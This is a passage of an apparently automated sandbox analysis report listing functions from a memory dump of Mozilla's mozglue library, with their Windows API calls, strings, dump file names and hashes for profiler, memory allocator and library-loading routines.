MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C9547FC
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C954828
MOZ_PROFILER_SHUTDOWN, xrefs: 6C954A42

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 098aa00d1bb978747ad24c5867f8768a51b141dd5fdc9a0001153a5026f4c391
Instruction ID: cb8d60e359f65d7b06cd9ed04dc716d97930ba0caac0c619c6ba0bcd2857985f
Opcode Fuzzy Hash: 098aa00d1bb978747ad24c5867f8768a51b141dd5fdc9a0001153a5026f4c391
Instruction Fuzzy Hash: 97813675A041008BEB80DF28C89875A3779BF5231CFA40229E91697F86D734EA74CF97

Function 6C954470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C954730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9544B2,6C9CE21C,6C9CF7F8), ref: 6C95473E
Part of subcall function 6C954730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C95474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C9544BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C9544D2
InitOnceExecuteOnce.KERNEL32(6C9CF80C,6C94F240,?,?), ref: 6C95451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C95455C
LoadLibraryW.KERNEL32(?), ref: 6C954592
InitializeCriticalSection.KERNEL32(6C9CF770), ref: 6C9545A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C9545AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C9545BB
InitOnceExecuteOnce.KERNEL32(6C9CF818,6C94F240,?,?), ref: 6C954612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C954636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C954644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C95466D
VerSetConditionMask.NTDLL ref: 6C95469F
VerSetConditionMask.NTDLL ref: 6C9546AB
VerSetConditionMask.NTDLL ref: 6C9546B2
VerSetConditionMask.NTDLL ref: 6C9546B9
VerSetConditionMask.NTDLL ref: 6C9546C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9546CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C9546F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C9546FD

Strings

user32.dll, xrefs: 6C954557, 6C95463F
l, xrefs: 6C954578
NativeNtBlockSet_Write, xrefs: 6C9546F7
kernel32.dll, xrefs: 6C9544CD
WRusr.dll, xrefs: 6C9544B5

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: bc19a37f7e746709e927fd69de2fedf2bec2cddf59eb146cb3d0f7a2ed7278b7
Instruction ID: cc22c0b40add039bd67d9154350f0506fc5f911e613f1ea9df1de7efa9f5113e
Opcode Fuzzy Hash: bc19a37f7e746709e927fd69de2fedf2bec2cddf59eb146cb3d0f7a2ed7278b7
Instruction Fuzzy Hash: EA6105B1708348AFEB10DF60CC49BA57BB8EB4670CFA48598E5059B681D770CA75CF92

Function 6C98E8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C987090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6C98B9F1,?), ref: 6C987107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C98DCF5), ref: 6C98E92D
GetCurrentThreadId.KERNEL32 ref: 6C98EA4F
AcquireSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C98EA5C
ReleaseSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C98EA80
GetCurrentThreadId.KERNEL32 ref: 6C98EA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C98DCF5), ref: 6C98EA92
GetCurrentThreadId.KERNEL32 ref: 6C98EB11
AcquireSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C98EB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6C98EB3C
ReleaseSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C98EB5B

Part of subcall function 6C985710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C98EB71), ref: 6C9857AB

Part of subcall function 6C97CBE8: GetCurrentProcess.KERNEL32(?,6C9431A7), ref: 6C97CBF1
Part of subcall function 6C97CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9431A7), ref: 6C97CBFA

Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C954A68), ref: 6C98945E
Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C989470
Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C989482
Part of subcall function 6C989420: __Init_thread_footer.LIBCMT ref: 6C98949F

GetCurrentThreadId.KERNEL32 ref: 6C98EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6C98EBAC

Part of subcall function 6C9894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9894EE
Part of subcall function 6C9894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C989508

GetCurrentThreadId.KERNEL32 ref: 6C98EBC1
AcquireSRWLockExclusive.KERNEL32(6C9CF4B8,?,?,00000000), ref: 6C98EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6C98EBE5
ReleaseSRWLockExclusive.KERNEL32(6C9CF4B8,00000000), ref: 6C98EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C98EC46
CloseHandle.KERNEL32(?), ref: 6C98EC55
free.MOZGLUE(00000000), ref: 6C98EC5C

Strings

[I %d/%d] profiler_start, xrefs: 6C98EBB4
[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6C98EA9B

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: 49eaa04cc7a995a3faae61646a7d1b612ebf041f0891a2ec2b6349731aba854f
Instruction ID: 0c68f4cf0820b4340ffd14d2df7906c7bf8706e3bef68c1b1a0c2b676ad10621
Opcode Fuzzy Hash: 49eaa04cc7a995a3faae61646a7d1b612ebf041f0891a2ec2b6349731aba854f
Instruction Fuzzy Hash: FFA16735B056049FDB009F28C858BAA77B9FF9670CF244829E91A87F41DB75D904CBE2

Function 6C98F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C954A68), ref: 6C98945E
Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C989470
Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C989482
Part of subcall function 6C989420: __Init_thread_footer.LIBCMT ref: 6C98949F

GetCurrentThreadId.KERNEL32 ref: 6C98F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C98F8F9

Part of subcall function 6C956390: GetCurrentThreadId.KERNEL32 ref: 6C9563D0
Part of subcall function 6C956390: AcquireSRWLockExclusive.KERNEL32 ref: 6C9563DF
Part of subcall function 6C956390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C95640E

ReleaseSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C98F93A
GetCurrentThreadId.KERNEL32 ref: 6C98F98A
GetCurrentThreadId.KERNEL32 ref: 6C98F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C98F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C98F716

Part of subcall function 6C9894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9894EE
Part of subcall function 6C9894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C989508

Part of subcall function 6C94B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C94B5E0

GetCurrentThreadId.KERNEL32 ref: 6C98F739
AcquireSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C98F746
GetCurrentThreadId.KERNEL32 ref: 6C98F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C9C385B,00000002,?,?,?,?,?), ref: 6C98F829
free.MOZGLUE(?,?,00000000,?), ref: 6C98F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C98F866
free.MOZGLUE(?), ref: 6C98FA0C

Part of subcall function 6C955E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9555E1), ref: 6C955E8C
Part of subcall function 6C955E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C955E9D
Part of subcall function 6C955E60: GetCurrentThreadId.KERNEL32 ref: 6C955EAB
Part of subcall function 6C955E60: GetCurrentThreadId.KERNEL32 ref: 6C955EB8
Part of subcall function 6C955E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C955ECF
Part of subcall function 6C955E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C955F27
Part of subcall function 6C955E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C955F47
Part of subcall function 6C955E60: GetCurrentProcess.KERNEL32 ref: 6C955F53
Part of subcall function 6C955E60: GetCurrentThread.KERNEL32 ref: 6C955F5C
Part of subcall function 6C955E60: GetCurrentProcess.KERNEL32 ref: 6C955F66
Part of subcall function 6C955E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C955F7E

free.MOZGLUE(?), ref: 6C98F9C5
free.MOZGLUE(?), ref: 6C98F9DA

Strings

" attempted to re-register as ", xrefs: 6C98F858
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C98F9A6
[D %d/%d] profiler_register_thread(%s), xrefs: 6C98F71F
Thread , xrefs: 6C98F789

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 4ff49ee82bfc34342f99b23db51d957042ff1b087a676e9e49832ccc0b40a82f
Instruction ID: 7219185d852e2d525aff9c7fb2b22ebc783b34218a6ea094cbee3ea602618cc6
Opcode Fuzzy Hash: 4ff49ee82bfc34342f99b23db51d957042ff1b087a676e9e49832ccc0b40a82f
Instruction Fuzzy Hash: 1F8114716056009FDB10DF24C840BAEB7B5FFE5308F50496DE84A9BB51EB31D949CBA2

Function 6C98EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C954A68), ref: 6C98945E
Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C989470
Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C989482
Part of subcall function 6C989420: __Init_thread_footer.LIBCMT ref: 6C98949F

GetCurrentThreadId.KERNEL32 ref: 6C98EE60
AcquireSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C98EE6D
ReleaseSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C98EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C98EEA5
CloseHandle.KERNEL32(?), ref: 6C98EEB4
free.MOZGLUE(00000000), ref: 6C98EEBB
GetCurrentThreadId.KERNEL32 ref: 6C98EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C98EECF

Part of subcall function 6C98DE60: GetCurrentThreadId.KERNEL32 ref: 6C98DE73
Part of subcall function 6C98DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C954A68), ref: 6C98DE7B
Part of subcall function 6C98DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C954A68), ref: 6C98DEB8
Part of subcall function 6C98DE60: free.MOZGLUE(00000000,?,6C954A68), ref: 6C98DEFE
Part of subcall function 6C98DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C98DF38

Part of subcall function 6C97CBE8: GetCurrentProcess.KERNEL32(?,6C9431A7), ref: 6C97CBF1
Part of subcall function 6C97CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9431A7), ref: 6C97CBFA

GetCurrentThreadId.KERNEL32 ref: 6C98EF1E
AcquireSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C98EF2B
ReleaseSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C98EF59
GetCurrentThreadId.KERNEL32 ref: 6C98EFB0
AcquireSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C98EFBD
ReleaseSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C98EFE1
GetCurrentThreadId.KERNEL32 ref: 6C98EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C98F000

Part of subcall function 6C9894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9894EE
Part of subcall function 6C9894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C989508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C98F02F

Part of subcall function 6C98F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C98F09B
Part of subcall function 6C98F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C98F0AC
Part of subcall function 6C98F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C98F0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6C98F008
[I %d/%d] profiler_stop, xrefs: 6C98EED7

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 6db06348e845651e031a4b589b869608a33dc92ddc15b6f3d0b221f4eaa499db
Instruction ID: 688e6c3a79d32dd2a9070e293794b28bec68e1339866080410cf0cae5a2bd2b0
Opcode Fuzzy Hash: 6db06348e845651e031a4b589b869608a33dc92ddc15b6f3d0b221f4eaa499db
Instruction Fuzzy Hash: 4451D13570A2109FEB005B64D41C7A577B8EB5631DF200955E91A83F81DB38CA04CBF7

Function 6C97D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C9CE804), ref: 6C97D047
GetSystemInfo.KERNEL32(?), ref: 6C97D093
__Init_thread_footer.LIBCMT ref: 6C97D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C9CE810,00000040), ref: 6C97D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9CE7B8,00001388), ref: 6C97D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9CE744,00001388), ref: 6C97D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9CE784,00001388), ref: 6C97D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9CE7DC,00001388), ref: 6C97D1B1

Strings

<jemalloc>, xrefs: 6C97D268, 6C97D311
: (malloc) Unsupported character in malloc options: ', xrefs: 6C97D322
MALLOC_OPTIONS, xrefs: 6C97D0CB
Compile-time page size does not divide the runtime one., xrefs: 6C97D26D
MOZ_CRASH(), xrefs: 6C97D277

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: 196d17c66e8bcf5222eae6f699f26932ee8c2cf315fcc8124e167fe58ec70d6f
Instruction ID: d4a5df08ba39555a8807409a07373f37eccbdf82860c1d538e77be05025a58f6
Opcode Fuzzy Hash: 196d17c66e8bcf5222eae6f699f26932ee8c2cf315fcc8124e167fe58ec70d6f
Instruction Fuzzy Hash: 29812A71B0A240DBEB24DF68C89676937B8FB56B04F700519E80297F80D775DA15CBE2

Function 6C955E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C955E9D

Part of subcall function 6C965B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9656EE,?,00000001), ref: 6C965B85
Part of subcall function 6C965B50: EnterCriticalSection.KERNEL32(6C9CF688,?,?,?,6C9656EE,?,00000001), ref: 6C965B90
Part of subcall function 6C965B50: LeaveCriticalSection.KERNEL32(6C9CF688,?,?,?,6C9656EE,?,00000001), ref: 6C965BD8
Part of subcall function 6C965B50: GetTickCount64.KERNEL32 ref: 6C965BE4

GetCurrentThreadId.KERNEL32 ref: 6C955EAB
GetCurrentThreadId.KERNEL32 ref: 6C955EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C955ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C956017

Part of subcall function 6C944310: moz_xmalloc.MOZGLUE(00000010,?,6C9442D2), ref: 6C94436A
Part of subcall function 6C944310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C9442D2), ref: 6C944387

moz_xmalloc.MOZGLUE(00000004), ref: 6C955F47
GetCurrentProcess.KERNEL32 ref: 6C955F53
GetCurrentThread.KERNEL32 ref: 6C955F5C
GetCurrentProcess.KERNEL32 ref: 6C955F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C955F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C955F27

Part of subcall function 6C95CA10: mozalloc_abort.MOZGLUE(?), ref: 6C95CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9555E1), ref: 6C955E8C

Part of subcall function 6C95CA10: malloc.MOZGLUE(?), ref: 6C95CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9555E1), ref: 6C95605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9555E1), ref: 6C9560CC

Strings

GeckoMain, xrefs: 6C955ECE, 6C956015

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: cfbdc728e87538a5d06211e8ce94624cd3ac389012c65b7f80856d6a7ff9a139
Instruction ID: 770a6e06456a101df9bb08e5a1ec626dc8946123f1164a6d27cc3ffa8a6d136a
Opcode Fuzzy Hash: cfbdc728e87538a5d06211e8ce94624cd3ac389012c65b7f80856d6a7ff9a139
Instruction Fuzzy Hash: BD71C4B0609740DFD710DF29C480A6ABBF4FF69308F54496DE88A87B52D731E958CB92

Function 6C959590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9431C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C943217
Part of subcall function 6C9431C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C943236
Part of subcall function 6C9431C0: FreeLibrary.KERNEL32 ref: 6C94324B
Part of subcall function 6C9431C0: __Init_thread_footer.LIBCMT ref: 6C943260
Part of subcall function 6C9431C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C94327F
Part of subcall function 6C9431C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C94328E
Part of subcall function 6C9431C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9432AB
Part of subcall function 6C9431C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9432D1
Part of subcall function 6C9431C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9432E5
Part of subcall function 6C9431C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C9432F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C959675
__Init_thread_footer.LIBCMT ref: 6C959697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9596E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C959707
__Init_thread_footer.LIBCMT ref: 6C95971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C959773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9597B7
FreeLibrary.KERNEL32 ref: 6C9597D0
FreeLibrary.KERNEL32 ref: 6C9597EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C959824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C959670
NtMapViewOfSection, xrefs: 6C959701
MapViewOfFileNuma2, xrefs: 6C9597B1
ntdll.dll, xrefs: 6C9596E3

Memory Dump Source

